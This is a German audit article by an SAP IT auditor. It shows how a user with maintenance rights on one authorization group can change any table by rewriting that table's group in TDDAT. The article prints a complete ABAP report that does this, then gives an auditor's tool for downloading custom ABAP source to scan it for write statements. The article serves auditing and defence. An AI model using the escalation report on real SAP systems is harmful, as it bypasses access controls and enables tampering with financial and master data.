

Manipulationsmöglichkeit im Rahmen der SAP–Tabellenänderungs-berechtigung anhand eines Beispiels

Von Dipl.-Betriebswirt Christoph Wildensee, Hannover ¹

Einführung

Das SAP-System arbeitet tabellenorientiert und weist somit je nach Installation, d.h. Releasestand und Systemaufteilung, weit mehr als 20.000 transparente und Pool-Tabellen auf, die zum einen die Daten des operativen Geschäftes und zum anderen die Steuerungsdaten des Systems beinhalten. Es gibt eine Vielzahl von Transaktionen zur Anzeige von Tabelleninhalten wie z.B. SE16, SE16N, SE17 etc. Ebenso lassen div. Transaktionen wie z.B. SE11 oder SM30 auch das Ändern von Tabelleninhalten zu. Voraussetzung für das direkte Ändern von Tabelleninhalten ist das Vorhandensein einer entsprechenden Tabellenpflegetransaktion und mindestens die Zuweisung des Berechtigungsobjektes S_TABU_DIS mit Aktivität 02 mit der Berechtigungsgruppeneingrenzung einer vorhandenen Gruppe. Thomas Tiede hat hierzu bereits umfassend in seinem Buch berichtet.

Das Anzeigen von Tabellen wird in vielen Unternehmen generell als nicht kritisch angesehen. So wird den Mitarbeitern auch oft die Anzeigeberechtigung auf alle Tabellen zugestanden. Für Recherchezwecke, welche Inhalte zur Einsicht und ggf. Manipulation interessant sein könnten, kann die Anzeigemöglichkeit aller Tabellen ausgesprochen sinnvoll sein. In vielen Unternehmen erhalten Mitarbeiter auch eine pflegende Berechtigung auf eine Berechtigungsgruppe, für die sie verantwortlich zeichnen - oft Gruppen im Kundennamensraum mit einer Beschränkung auf wenige selbsterstellte Tabellen (z.B. für prozessverantwortliche Mitarbeiter) oder auf Gruppen von ihnen betreuter Module (z.B. DV-Koordinatoren, Fachbereichsmodulbetreuer [FI-FC31 Buchungsperioden] o.ä.).

Der Artikel soll zum einen anhand eines Beispiels zeigen, wie leicht es bei Vorliegen bestimmter Voraussetzungen ist, alle Tabellen ändern zu können, wenn die hier gezeigten Berechtigungen als übliche Eingrenzung gegeben sind und zum anderen, was auf die kontrollierende Instanz zukommt, wenn man diese Aktivitäten unterbinden möchte.

Voraussetzung

In unserem Beispiel sollen die pflegeberechtigten Tabellen zur Gruppe ZPM gehören, die im Modul PM – Instandhaltung – als Gruppierung zur Speicherung von Zusatzdaten für Inst-Aufträge dient. Die Gruppe wurde im Unternehmen im Kundennamensraum angelegt.

Beispielberechtigung Fachbereichsmitarbeiter - Pflegendes Recht auf die Berechtigungsgruppe ZPM

Anzeigeberechtigung auf alle Tabellen

Berechtigungsobjekt	:	S_TABU_DIS
Aktivität	:	Anzeigen 03
Berechtigungsgruppe	:	alle *

Änderungsberechtigung auf ausgesuchte Tabellen

Berechtigungsobjekt	:	S_TABU_DIS
Aktivität	:	Ändern 02
Berechtigungsgruppe	:	ZPM ZPM

Änderung mandantenunabhängiger Tabellen

Berechtigungsobjekt	:	S_TABU_CLI
mand.unabh. Pflege	:	kein Zugriff ‘ ‘

Transaktionscode

Berechtigungsobjekt	:	S_TCODE
Transaktion	:	Tabellenpflege SE11, SM30, SA38 u.a.

¹ C. Wildensee ist bei der Stadtwerke Hannover AG als IV-Revisor tätig.

Über diese Eingrenzung ist gewährleistet, dass die berechtigten Mitarbeiter zwar alle Tabellen einsehen dürfen, jedoch nur ändernde Rechte auf die wenigen Tabellen der Gruppe ZPM erhalten. Zusätzlich dürfen sie Reports aufrufen. **Wie kann ein Mitarbeiter nun andere Tabellen ändern, wenn er keine Debug-/Replace-Funktionalität (S_DEVELOP mit Aktivität 02) nutzen kann ?**

Vorgehen

Die Tabelle TDDAT beinhaltet Angaben über die Berechtigungsgruppe je Tabelle.

Tabellenname	Tabellenbezeichnung	BerGr
ANLA	Anlagenstammsatz – Segment	AA
BSEG	Belegsegment Buchhaltung	FA
EKKO	Einkaufsbelegkopf	MA
LFA1	Lieferantenstamm (allgemeiner Teil)	FA
SKA1	Sachkontenstamm (Kontenplan)	FC
TJ01	Betriebswirtschaftliche Vorgänge	BS

Tab. 1: Beispiele aus der TDDAT

Eine Übersicht über die Berechtigungsgruppen kann über die Tabelle TBRG und die Eingrenzung auf S_TABU_DIS angezeigt werden. Tabelle TDDAT zeigt die Berechtigungsgruppen je SAP-Tabelle.

Wenn der Mitarbeiter nun also ausschließlich auf die Berechtigungsgruppe ZPM ändernd zugreifen kann und keine anderen Tabellen im Zugriff hat, ist es möglich, dass **er die Berechtigungsgruppe einer beliebigen Tabelle in ZPM ändert**, um dann auf diese Tabelle schreibend zuzugreifen ? Durch einen einfachen ABAP-Report, der die Berechtigungsgruppe einer beliebigen Tabelle in ZPM oder eine andere Gruppe ändert, ist der manipulierende Zugriff auf alle Tabellen realisierbar.

Der folgende Beispiel-Quellcode demonstriert dies:

```
***** *
* Report ZSTABBERGR1 *
* Änderung der Berechtigungsgruppe einer Tabelle *
***** *

REPORT ZSTABBERGR1 NO STANDARD PAGE HEADING LINE-SIZE 90 .
TABLES: TDDAT.
SELECTION-SCREEN BEGIN OF BLOCK A WITH FRAME TITLE TEXT-000.
PARAMETERS: G_TABNAME LIKE TDDAT-TABNAME,
             E_CLASS LIKE TDDAT-CCLASS.
SELECTION-SCREEN SKIP.
PARAMETERS: P_TEST AS CHECKBOX DEFAULT = 'X'.
SELECTION-SCREEN END OF BLOCK A.
START-OF-SELECTION.
    SELECT * FROM TDDAT
    WHERE TABNAME EQ G_TABNAME.
        WRITE:/ TDDAT-TABNAME, TDDAT-CCLASS, E_CLASS.
        MOVE E_CLASS TO TDDAT-CCLASS.
        WRITE:/ TDDAT-TABNAME, TDDAT-CCLASS, E_CLASS.
        IF P_TEST EQ SPACE.
            UPDATE TDDAT.
        ENDIF.
    ENDSELECT.

TEXT-000 EINER TABELLE EINE ANDERE BERECHTIGUNGSKLASSE ZUWEISEN
G_TABNAME TABELLENNAME
E_CLASS FÜR ÄNDERUNG ERLAUBTE BERGR
P_TEST TESTSCHALTER
***** *
```


Unveröffentlichter Bereich:

Mit dem nachfolgenden Report von Benny G. Sørensen, modifiziert von Frau Tesch, Fa. CSI, in 2003, ist es möglich, ABAP-Quellcode per Download zu transferieren und ihn dort z.B. in eine Access-Tabelle einzuspielen. Hier kann dann eine Analyse stattfinden, die z.B. UPDATE, MODIFY, INSERT, DELETE auf SAP-Tabellen sucht. Die Beurteilung des korrekten oder problematischen Aufrufs bleibt dem Revisor überlassen. Generell ist wie o.e. jeder dieser Zugriffe auf SAP-Tabellen als kritisch anzusehen, auf selbstdefinierte interne Tabellen und Workarea natürlich nicht.

Dieser Report wird geschützt und darf nur vom Revisor (und ggf. vom Basis-Administrator) aufgerufen werden. **Ansonsten sollte er in das Produktionssystem überführt werden.**

REPORT ZABAPDOWN01 MESSAGE-ID Z1.

```
*-----*
* Description:Utility used for downloading abap/4 source code and *
*             text elements to the desktop using ws_download.   *
*             Is useful as backup or for transporting to another *
*             site.                                             *
*             You must run this program in foreground/online due *
*             to the use of ws_download throug the SAPGUI.     *
*
* Programmer: Benny G. Sørensen; modified by Ms Tesch, CSI, 2003 *
*-----*
```

TABLES: TRDIR .

SELECT-OPTIONS: REPO FOR TRDIR-NAME.
PARAMETERS: PATH(60) TYPE C DEFAULT 'C:\ZABAPI' .

DATA: BEGIN OF TABSOURCE OCCURS 10
,SOURCE(72) TYPE C
,END OF TABSOURCE.

DATA: BEGIN OF TABTEXT OCCURS 50
,BODY LIKE TEXTPOOL
,END OF TABTEXT.

DATA: BEGIN OF TABRDIR OCCURS 100
,RDIR LIKE TRDIR
,END OF TABRDIR.

DATA: FILENAME LIKE RLGRAP-FILENAME
,MODE TYPE C VALUE ''
,RDIRROWS TYPE I
,SOURCEROWS TYPE I
,RC TYPE I
,LENGTH TYPE I .

FIELD-SYMBOLS: <P> .

DATA: OK TYPE I VALUE 0
,FAIL TYPE I VALUE 1.

DATA: BEGIN OF TABSOURCE_SAVE OCCURS 10
 ,PRAEFIX(47) TYPE C
 ,SOURCE(72) TYPE C
 ,END OF TABSOURCE_SAVE.

DATA: BEGIN OF TABTEXT_SAVE OCCURS 50
 ,PRAEFIX(47) TYPE C
 ,BODY LIKE TEXTPOOL
 ,END OF TABTEXT_SAVE.

DATA: NAME LIKE SY-UNAME.
DATA: ZEILE TYPE STRING.
DATA: L_TABIX(5) TYPE C.

AT SELECTION-SCREEN.

DATA: I TYPE I.
DESCRIBE TABLE REPO LINES I.
IF I <= 0.
 SET CURSOR FIELD REPO.
 MESSAGE E065 WITH TEXT-101.
ENDIF.

MOVE SY-UNAME TO NAME.
IF NAME NE '**BENUTZERNAME**'.

* **NUR DER REVISOR (UND GGF. DIE BASIS-ADMINISTRATION) SOLLTE**

* **DEN NUTZUNGSZUGRIFF AUF DEN REPORT ERHALTEN !**

 MESSAGE I065 WITH TEXT-102.
ELSE.

* **START-OF-SELECTION.**

 CONDENSE PATH NO-GAPS.
 LENGTH = STRLEN(PATH) .
 SUBTRACT 1 FROM LENGTH.
 ASSIGN PATH+LENGTH(1) TO <P>.
 IF <P> <> '\'.
 ADD 1 TO LENGTH.
 ASSIGN PATH+LENGTH TO <P>.
 <P> = '\'.
 ENDIF.

 SELECT * FROM TRDIR INTO TABLE TABRDIR WHERE NAME IN REPO.
 DESCRIBE TABLE TABRDIR LINES RDIRROWS.
 CHECK RDIRROWS > 0.

 LOOP AT TABRDIR.
 MOVE TABRDIR TO TRDIR.
 PERFORM DOWNLOAD_SOURCE USING RC.

* CHECK RC = OK.

PERFORM DOWNLOAD_TEXTPOOL USING RC.

ENDLOOP.

DESCRIBE TABLE TABSOURCE_SAVE LINES RDIRROWS.

IF RDIRROWS > 0.

RC = OK.

ENDIF.

CONCATENATE PATH '**ABAPTEXT.TXT**' INTO FILENAME.

CONDENSE FILENAME NO-GAPS.

PERFORM DOWNLOAD TABLES TABSOURCE_SAVE USING FILENAME RC.

DESCRIBE TABLE TABTEXT_SAVE LINES RDIRROWS.

IF RDIRROWS > 0.

RC = OK.

ENDIF.

CONCATENATE PATH '**ABAPFLD.TXT**' INTO FILENAME.

CONDENSE FILENAME NO-GAPS.

PERFORM DOWNLOAD TABLES TABTEXT_SAVE USING FILENAME RC.

ENDIF.

```
*-----*
* FORM: DOWNLOAD_SOURCE *
*-----*
```

FORM DOWNLOAD_SOURCE USING RC.

CLEAR: TABSOURCE, FILENAME.

REFRESH: TABSOURCE.

READ REPORT TRDIR-NAME INTO TABSOURCE.

DESCRIBE TABLE TABSOURCE LINES SOURCEROWS.

CHECK SOURCEROWS > 0.

LOOP AT TABSOURCE.

MOVE SY-TABIX TO L_TABIX.

CONCATENATE TRDIR-NAME ';' L_TABIX ';' INTO ZEILE.

CONDENSE ZEILE NO-GAPS.

MOVE ZEILE TO TABSOURCE_SAVE-PRAEFIX.

MOVE TABSOURCE TO TABSOURCE_SAVE-SOURCE.

APPEND TABSOURCE_SAVE.

ENDLOOP.

ENDFORM.

```
*-----*  
* FORM: DOWNLOAD_TEXTPOOL *  
*-----*
```

FORM DOWNLOAD_TEXTPOOL USING RC.

CLEAR: TABTEXT, FILENAME.
REFRESH: TABTEXT.

READ TEXTPOOL TRDIR-NAME INTO TABTEXT LANGUAGE SY-LANGU.
DESCRIBE TABLE TABTEXT LINES SOURCEROWS.
CHECK SOURCEROWS > 0.

LOOP AT TABTEXT.
MOVE SY-TABIX TO L_TABIX.
CONCATENATE TRDIR-NAME ';' L_TABIX ';' INTO ZEILE.
CONDENSE ZEILE NO-GAPS.
MOVE ZEILE TO TABTEXT_SAVE-PRAEFIX.
MOVE TABTEXT-BODY TO TABTEXT_SAVE-BODY.
APPEND TABTEXT_SAVE.
ENDLOOP.

ENDFORM.

```
*-----*  
* FORM: DOWNLOAD *  
*-----*
```

FORM DOWNLOAD TABLES TABDATA USING FILENAME RC.

RC = FAIL.
CALL FUNCTION 'WS_DOWNLOAD'
EXPORTING
FILENAME = FILENAME
FILETYPE = 'ASC'
MODE = MODE
TABLES
DATA_TAB = TABDATA
EXCEPTIONS
FILE_OPEN_ERROR = 1
FILE_WRITE_ERROR = 2
INVALID_FILESIZE = 3
INVALID_TABLE_WIDTH = 4
INVALID_TYPE = 5
NO_BATCH = 6
UNKNOWN_ERROR = 7.

IF SY-SUBRC <> OK.
WRITE:/ SY-SUBRC, TEXT-100.
ENDIF.
RC = SY-SUBRC.

ENDFORM.

Der Report liest den Roh-Quellcode und die Feld-/Includebezeichner (Textelemente) aus dem Textpool heraus (ohne Auflösung von Includes und Funktionsbausteinen etc.) und stellt diese in zwei Dateien zur Verfügung.

Pfadvorschlag C:\ZABAP\

Datei1: ABAPTEXT.TXT Quellcode

Datei2: ABAPFLD.TXT Textelemente .

Insbesondere die Datei ABAPTEXT.TXT ist interessant, denn sie enthält den Roh-Quellcode aller ABAP's, die ausgewählt wurden. Hier ist auch die Bereitstellung aller Z*- oder Y*-Reports möglich.

Die Datei ist wie folgt aufgebaut:

Die einzelnen Zeilen beinhalten den Reportnamen vorweg, dann ein Semikolon, dann eine laufende Nummer innerhalb des Reports mit anschließendem Semikolon und der Report-Textzeile. So kann die entstehende Datei ABAPTEXT.TXT z.B. nach den Befehlen INSERT, UPDATE, MODIFY, APPEND oder DELETE durchsucht werden und man sieht in den gefundenen Trefferzeilen sofort, um welchen Report es sich handelt.

Beispiel Ergebnisdatei C:\ZABAP\ABAPTEXT.TXT :

```
Z_SELECT;1; ...
Z_SELECT;2; If Sscrfields-Ucomm eq SPACE. " <ENTER> in F8 umwandeln!
Z_SELECT;3; CALL FUNCTION 'POPUP_TO_CONFIRM_STEP'
Z_SELECT;4; EXPORTING
Z_SELECT;5; DEFAULTOPTION = 'Y'
Z_SELECT;6; TEXTLINE1 = ' Soll der Report jetzt '
Z_SELECT;7; TEXTLINE2 = ' gestartet werden?'
Z_SELECT;8; TITEL = ' Include z_Select!'
Z_SELECT;9; * START_COLUMN = 25
Z_SELECT;10; * START_ROW = 6
Z_SELECT;11; * CANCEL_DISPLAY = 'X'
Z_SELECT;12; IMPORTING
Z_SELECT;13; ANSWER = Answer
Z_SELECT;14; * EXCEPTIONS
Z_SELECT;15; * OTHERS = 1
Z_SELECT;16; .
Z_SELECT;17; If Answer ca 'JY'.
Z_SELECT;18; Sscrfields-Ucomm = 'ONLI'. " --> Selektionsbild verlassen.
Z_SELECT;19; EndIf.
Z_SELECT;20; EndIf.
Z_SELECT;21;...
Z_PRTE_DEL;1; REPORT Z_PRTE_DEL .
Z_PRTE_DEL;2;
Z_PRTE_DEL;3; delete from PRTE where posnr > '99999990' and
Z_PRTE_DEL;4; posnr <= '99999999'.
Z_PRTE_DEL;5; if sy-subrc is initial.
Z_PRTE_DEL;6; write ' report is carried out successfully'.
Z_PRTE_DEL;7; else.
Z_PRTE_DEL;8; write ' no wrong entries found in PRTE'.
Z_PRTE_DEL;9; endif.
...
```

Es entstehen also 3 Felder, die in Access eingelesen und dort nach Inhalten durchsucht werden können. So können alle Z- oder Y-Reports in eine Datenbasis überführt werden.